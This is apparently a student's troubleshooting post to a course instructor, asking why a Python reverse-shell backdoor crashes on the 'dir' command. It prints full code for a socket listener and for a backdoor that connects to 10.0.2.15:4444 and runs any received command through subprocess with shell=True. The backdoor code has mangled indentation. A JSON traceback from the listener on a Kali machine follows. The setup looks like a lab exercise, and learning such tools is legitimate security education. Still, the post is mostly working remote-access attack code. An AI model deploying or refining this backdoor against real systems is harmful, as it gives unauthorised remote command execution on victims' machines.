Hello Diego,

when i run listener and the backdoor i get an error while passing the command dir, it works fine with ipconfig, cd, cd .., whoami but as soon as i enter dir i get an error.

This is the listener code:

#!/usr/bin/env python

import socket
import json

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Connection established from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = self.connection.recv(1024)
        return json.loads(json_data)

    def execute_remotely(self, command):
        self.reliable_send(command)
        return self.reliable_receive()

    def run(self):
        while True:
            command = raw_input("Enter command >> ")
            result = self.execute_remotely(command)
            print(result)

my_listener = Listener("10.0.2.15", 4444)
my_listener.run()

and this is the reverse backdoor code:

#!/usr/bin/env python

 

 

import socket

import subprocess

import json

 

class Backdoor:

                def __init__(self, ip, port):

                                self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                                self.connection.connect((ip, port))

 

                def reliable_send(self, data):

                json_data = json.dumps(data)

                self.connection.send(json_data)

 

        def reliable_receive(self):

                json_data = self.connection.recv(1024)

                return json.loads(json_data)

 

                def execute_system_command(self, command):

                                return subprocess.check_output(command, shell=True)

 

 

                def run(self):

                                while True:

                                                command = self.reliable_receive()

                                                command_result = self.execute_system_command(command)

                                                self.reliable_send(command_result)

 

                                connection.close()

 

my_backdoor = Backdoor("10.0.2.15", 4444)

my_backdoor.run()

and this is the error i get on the Kali machine where i run the listener, i left the two previous command to show that it worked before dir.

Enter command >> cd
C:\Users\IEUser\Downloads

Enter command >> cd ..

Enter command >> dir
Traceback (most recent call last):
  File "listener_extra.py", line 37, in <module>
    my_listener.run()
  File "listener_extra.py", line 32, in run
    result = self.execute_remotely(command)
  File "listener_extra.py", line 27, in execute_remotely
    return self.reliable_receive()
  File "listener_extra.py", line 23, in reliable_receive
    return json.loads(json_data)
  File "/usr/lib/python2.7/json/__init__.py", line 339, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python2.7/json/decoder.py", line 364, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python2.7/json/decoder.py", line 380, in raw_decode
    obj, end = self.scan_once(s, idx)
ValueError: Unterminated string starting at: line 1 column 1 (char 0)
root@kali:~/PycharmProjects/reverse_backdoor_extra#